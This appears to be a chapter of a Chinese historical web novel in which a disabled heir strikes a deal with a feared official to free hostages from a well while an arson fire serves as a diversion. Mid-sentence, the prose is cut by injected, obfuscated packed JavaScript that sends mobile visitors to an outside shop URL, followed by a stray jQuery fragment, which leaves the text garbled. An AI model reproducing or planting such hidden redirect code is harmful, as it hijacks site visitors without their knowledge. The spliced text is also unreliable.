食髓知味。
方嘉慧与飞虎之间,自从方府后花园那一次之后便一直暗中来往。马车里,客栈里,夜里程国恩不在府中时飞虎偷偷潜入方嘉慧的闺房里——凡是能避人耳目的地方,都成了他们偷欢的场所。
她像一株久旱的植物忽然遇上了雨露,疯狂地、不顾一切地汲取着每一滴水分。
女人一旦不再独守空房,有了雨露的滋润,便会如花般绽放。
方嘉慧那张曾经因为长期被冷落而憔悴枯槁的脸,如今容光焕发,眼波流转间带着一种从前没有的、被满足之后才会有的慵懒与明媚,体态也变得轻盈柔软,嘴角时常挂着一丝藏不住的笑意。
程国恩在府上时看着方嘉慧这副判若两人的模样,心中开始怀疑。
他太了解这个女人了——她不是那种无缘无故会容光焕发的人,她的每一分神采都必须有一个来源。
他没有声张,只是暗中吩咐阿宝盯紧方嘉慧。
方嘉慧聪明,直觉也敏锐,好几次阿宝跟到半路便被她借着熙攘的人群或七拐八弯的巷道甩脱了。
她总能找到机会与飞虎厮混在一起,仗着对程府和方府两处地形的熟悉,在阿宝的眼皮子底下穿行无阻。
秋高气爽。
清风居里,招财正在院中练剑,剑光在日光下翻飞如银蛇。
顾承宇独坐在书房里,目光落在面前那张写满了推演过程的宣纸上,思虑六年前薛敬为何不让自己直接死在战场上。
招财从枯井带回来的消息已经证实了——自己六年前没死在战场,方雍便砍下了薛敬儿子的手臂泄愤。
枯井里那个最小的孩子右边袖管空空荡荡,就是方雍泄愤的铁证。
薛敬的妻儿被方雍关押在枯井里的时间正是六年前,与他受伤的时间完全吻合。
这已经很清楚了——方雍抓了薛敬的妻儿,用他们的性命威胁薛敬,薛敬为了妻儿的命不得已而为之,在战场上配合飞虎设下了那个局。
兴许正是因为薛敬被逼无奈、在最后关头动了手脚,自己才没有被射穿心脉,只是被射穿了胸膛;才没有被割断喉咙,只是被砍断了腿。薛敬在自己儿子被砍掉右臂和自己被砍掉双腿之间,做出了一个不得已的选择。
再有,方雍乃是狠辣之人,为何只砍掉薛敬儿子的右臂,而不是砍下头颅。
顾承宇的目光突然一沉——一定是薛敬也手握方雍的把柄,两者都扼住了对方的咽喉。
如果是这样,薛敬扼住方雍什么把柄呢?
顾承宇抬起头,看了窗外正在练剑的招财一眼。
他伸手拿起一支狼毫,手指微曲,运劲一掷。狼毫如同离弦之箭破窗而出,精准地击中了招财手中的剑身,当的一声脆响,长剑被震落在地。
招财低头看着空空如也的手,又转头看了一眼书房里那个坐得纹丝不动的身影,眼睛一下子亮了起来——公子虽然站不起来,可手上的力道和准头一点都没有退步。
他迈开脚如同旋风一样飞进书房里,笑得嘴角都要咧到耳根,嘴里说着我家主子真是厉害,以笔为剑,打得属下落花流水。
顾承宇的目光冷冷地落在招财身上,只说了一句——今晚,我要在书房见到陆鸣。
招财听了赶紧伸手掏了掏自己的耳朵,他以为自己听错了,瞠目结舌地看着自家公子。
顾承宇的话从来不会说第二遍,又说了一句:我只要结果,不问过程。
说完便重新提笔落在宣纸上,一个一个隶书字体的字跃然纸上。
招财看着宣纸上的字,脑袋在快速旋转——公子与陆鸣不曾有过交集,顾家与陆鸣更不曾有过来往。
陆鸣是谁?
那是从地狱里爬出来的、令那些贪官污吏闻风丧胆的恶鬼。
是当今陛下的心腹。
是有司里那个铁面活阎罗。
自家主子这是要唱哪一出,要去招惹那尊杀神。
陛下本来就忌惮顾家,一旦发现顾家与他的心腹陆鸣走在一起,顾家这步履维艰的路岂不是要更加雪上加霜。
招财又抬头看了看自家主子——主子神情专注,笔走龙蛇,完全没有要解释的意思。
他叹了一口气,主子的命令不可违,他只能执行。
黑夜降临,本就冷清的有司在夜色笼罩下更显得阴森可怖,像是阎罗王把十八层地狱直接搬到了人间。
有“无影斥候”之称的招财利用缩骨功,把本就瘦小的身子缩得更小,轻轻松松潜入了有司。
陆鸣正立于窗前看着窗外的将圆之月,忽然月亮被什么东西遮住了,一个身材瘦小、脸却圆得如同满月的少年倒挂着出现在他眼前。
陆鸣看见眼前这张陌生的面孔,心中惊愕不已——自己的有司守卫森严,平常连只蚊子都飞不进来。
他抬手便是一掌,掌风凌厉直取招财面门。招财灵活一闪,退到几步之外,亮出手中那枚刻着“顾”字的腰牌,压着嗓子说道:陆大人,侯府世子有请。
陆鸣看见腰牌上的字,听到了“侯府世子”四个字,那即将落在招财胸膛上的拳头猛然停住了。
清风居的书房里,顾承宇坐在茶桌前正在泡茶。
作为世家子弟,泡茶这一门功夫他从小就学得很在行——洗、冲、泡、滤,每一个步骤都有讲究。
虽然六年不曾碰过茶具,如今重新握起紫砂壶,手法竟然还是如此娴熟,仿佛这六年的空白只是昨天到今天的一场长梦。
他朝窗外看了一眼,估摸着招财与陆鸣快到了,便端起紫砂壶开始斟茶。
茶斟好,招财便带着陆鸣从天而降,踏进了书房。
招财退到一旁禀道公子,陆大人到了。
顾承宇放下紫砂壶,抬头望向陆鸣。
陆鸣也望着顾承宇,两张冷冽的脸和两道冷冽的目光相对,令整个书房的温度都骤然降了几分。
陆鸣几年前见过顾承宇几面,那时的顾承宇还是鲜衣怒马的少年郎。
时隔六年再次相见,少年郎褪去了意气风发,变得深沉内敛,像一把被收入鞘中的名剑,锋芒不再外露,却更让人不敢轻视。
他虽坐在椅子上,一身玄色锦袍衬得那张脸愈发清冷贵气,那种让人高不可攀的气质依旧让陆鸣心中暗暗赞叹。
陆鸣望着这个安安静静坐在椅中的年轻世子,脑海里忽然浮现出宋含章那张倾国倾城的脸,顿时觉得眼前这两个人真是天造地设的一对璧人——同样的清冷,同样的坚韧,同样眼角有一颗星子般的黑痣。
他虽心有不甘,但也在心里默默祝福着这一对璧人。
来时的路上,招财特意叮嘱过他,公子与宋二姑娘的婚事尚未公开,让他务必守口如瓶。
所以陆鸣并未提及宋含章半个字。
顾承宇伸手请陆鸣坐下,亲手奉上一盏茶。
陆鸣双手接过,嘴角挂着一丝冷意,开门见山地问两耳不闻窗外事的顾公子今夜特意请陆某来,不知有何要事。
顾承宇看着陆鸣缓缓说道,久闻陆大人大名,他们虽不曾有过交集,却也有过几面之缘,陆大人乃是心正之人,今日特地请陆大人来,是有事相求。
陆鸣微微震惊,握着茶盏的手指不自觉地收紧了几分,疑惑地看着顾承宇——顾承宇这样的人,竟然会用“求”字。
顾承宇直截了当地说,丞相府后院的枯井里关押着顾家军军师的妻儿,他想将其救出,可是双腿被困于此,加之父亲远在西疆鞭长莫及,所以想请陆大人帮忙救出军师的妻儿。
陆鸣听了心中微惊,面上却不动声色。他这个人从来不问原因,只问利益,直言道陆某从来不做亏本的生意。
顾承宇从怀中取出飞鹰和雪鹰递回来的密信,放在茶桌上推到陆鸣面前。
陆鸣接过密信看了起来,越看脸色越冷,眉宇之间隐隐浮现出几分震惊和疑惑。
这些密信上一笔一笔清清楚楚地记录着李默那些见不得光的生意——丝绸、茶叶、瓷器,表面上是正经买卖,暗地里夹藏着与西夷和北疆交易的上好精铁,还有贪墨的盐税账目,私自贩卖铁器的证据。
每一条都附了时间、地点、经手人和账目明细。看完最后一张,陆鸣抬起眼,目光沉沉地看着顾承宇。
顾承宇说,李默擅长经商,乃是方雍的聚宝盆。这些皆是李默利用职权之便暗中进行肮脏交易的证据,还有他贪墨的盐税和私自贩卖铁器的证据。
陆鸣沉默了一瞬,问道——只是为了让我帮忙救出顾家军的军师,便把这么多要命的证据交给我,是不是太便宜我了。
顾承宇的语气平淡,说顾某被困在这尺寸之地,没有能力与那些魑魅魍魉决斗,而陆大人最恨这些邪恶之徒,这些东西交给你乃是上上策。
陆鸣把密信仔细折好,放进胸口贴身的暗袋里。
他端起茶盏呷了一口,问顾承宇打算如何救军师的妻儿。
顾承宇把计划简要说了——让陆鸣从有司里带出四个犯人,一女三男,替换出枯井里的四人,然后把真正的薛敬妻儿安置在有司里。
陆鸣听罢,嘴角浮起一丝难得的笑意,说这是偷梁换柱、掩人耳目,有朝一日方雍即使发现井里那四人是假的,即便翻遍整个京城也翻不到他有司来——方雍做梦也不会想到那四个人被藏在陛下的心腹手里。
即便方雍本事大,翻到有司了,方雍也绝不会想到这局是顾承宇布的。
顾承宇又道,陆大人,李默与靖王爷暗中也有往来,只是他的手下还在追查证据。想必陛下也在忌惮靖王爷,如果李默与靖王爷之间真的有往来,陆大人和陛下便能撕下靖王爷那张“不结党营私”的假面具。
陆鸣目光微动,干脆利落地应了一声“成交”,问何时行动。
顾承宇说越快越好,陆鸣说明晚便动手,此事交给他尽管放心。
顾承宇微微点头,吩咐招财好好配合陆大人。
陆鸣站起身来准备告辞,他看着眼前这个被困在轮椅上的人,忽然说了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749841|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一句肺腑之言——外人眼中你已是废人,没想到你一直在这尺寸之地布局。顾承宇,你真是让我刮目相看。
顾承宇端起茶盏抿了一口,只说了两个字:过奖。
陆鸣放下茶盏,看着盏中微黄的茶汤,说这茶不错,他们之间或许可以多往来。
顾承宇微微颔首,说不嫌弃的话,顾某自然欢迎。
陆鸣是说做便做之人,第二日便开始着手安排。他根据招财的描述,从有司的死囚牢里找来了与薛敬妻儿年纪、面容相似的四个人——一个中年妇人,三个年轻男子,都是犯了重罪即将问斩的囚犯。
他给了他们一个选择:替四个人去死,他们的家人便能得到一笔足够过完下半辈子的银子。四人都签了死契。
日光落下,黑夜降临,今夜无月,天地间黑得像一口倒扣的锅。
夜半时分,方府后院的柴房里,明日就要被送到城外庄子的王巧云忽然嘶声喊叫起来,发疯似的敲打着柴房的门板,那声音在寂静的夜里传得格外远。
听到王巧云的嘶喊和那些从她嘴里喷出来的风言风语,方府的狗开始狂吠,马匹四蹄不安地刨着地面,方府的人都被惊醒了,但都以为是王巧云不想去城外的庄子,所以在柴房里发疯撒泼。
张姨娘的人悄悄摸到关押王巧云的柴房后面,从窗缝里伸进一根竹竿,轻轻推倒了屋里的一盏油灯。
油灯倒在地上,火苗瞬间点燃了堆积的干柴,火势迅速蔓延开来。
王巧云在里面撕心裂肺地叫着,声音从嘶喊变成了惨叫。
看护的小厮回头看见柴房里窜起的火光,吓得魂飞魄散,扯着嗓子喊走水了,走水了。
火越烧越大,火光照亮了半边夜空,管事领着护卫和小厮们蜂拥而来,提桶的提桶,端盆的端盆,乱成一锅粥。
此时早就做好准备的陆鸣和招财兵分两路——陆鸣带着人从有司出发直奔方府枯井,招财带着另一队人在方府外围负责接应掩护。
方府所有人的注意力都被柴房的冲天大火吸引过去了,马厩这边安静得像另一个世界。
陆鸣亲自带人下到井底,打开铁栏,将真正的薛敬妻儿背出来,再将那四个替身放进去。
整个过程干净利落,半柱香的功夫便完成了偷梁换柱。
陆鸣看着那四个蜷缩在铁栏后面的替身,在心里默默地给方雍埋下了一颗永远不会被发现的钉子。
招财在外围确认安全后发出信号,陆鸣带着薛敬的妻儿无声无息地消失在方府后院的夜色中。
天色微亮时,一切都结束了。
方府那场大火终于被扑灭,柴房烧成了一片焦黑的废墟,王巧云已经被烧得面目全非。
方雍让飞豹去查,结论是王巧云发疯,自己推倒了油灯,点燃了周围的柴火引起的大火。
因为儿子和夫人的愚蠢已经被全京城嘲笑,心烦意乱的方雍没有多想,草草让人把尸体拉去乱葬岗埋了,没有派人去后院的枯井查探。
他派人去查李芙蓉一事,发现与张姨娘无关,反而从飞豹嘴里得知此事与嫡孙方继志脱不了干系,心里又是狠狠一沉。
可他终究没有动方继志——方继志是方家下一辈里唯一还有点脑子的人,他虽然恨铁不成钢,却也知道不能在这个时候自断臂膀。
他没有怀疑张姨娘,李芙蓉死了,王巧云死了,方老夫人躲进了佛堂,方府的后院彻彻底底落入了张姨娘的手里。
顾承宇言而有信,放了方鹏飞。
张姨娘看着平安归来的儿子,紧紧握着他的手,红了眼眶却没有落泪。
那些曾经跟着王巧云和方老夫人给张姨娘颜色看的人开始惊恐万分,生怕她秋后算账。
可张姨娘并未报复,对曾经的一切都一笑而过。现在,相府的掌家权紧握在手,儿子平安归来,儿女的前程一片光明。六年蛰伏,她想要的,终于一点一点地拿到了手里。
比起复仇的快感,她更需要的是安稳——只有自己不乱阵脚,才能坐稳这把来之不易的交椅。
陆鸣也派出亲卫与赵不疑联手,拿着顾承宇给他的那些证据,开始暗中调查李默那些见不得光的生意——盐税的账目,精铁的流向,与西夷、北疆商人的往来。
当然,也在查靖王爷那只看似老实、实则深不可测的老狐狸。
这一次陆鸣和赵不疑做足了万全的准备,每一个环节都设了三道互查的防线,他们发誓绝不会再像永安铁矿那次一样,被一只成了精的耗子牵着鼻子走、反过来咬自己一口。
而顾承宇,则是让飞鹰和雪鹰放弃对李默的追查,回到了自己身边。
钉子已经找到了,枯井里的人已经救出来了,薛敬的妻儿如今安全地躺在有司最隐秘的房间里,由陆鸣的亲卫日夜看守。剩下的事该让父亲在西疆收网了。
他靠在椅背上,望着窗外那三棵依旧不肯开花的海棠树,手指在扶手上轻轻敲了两下。
一切都在按照他的布局,一步一步地往前走。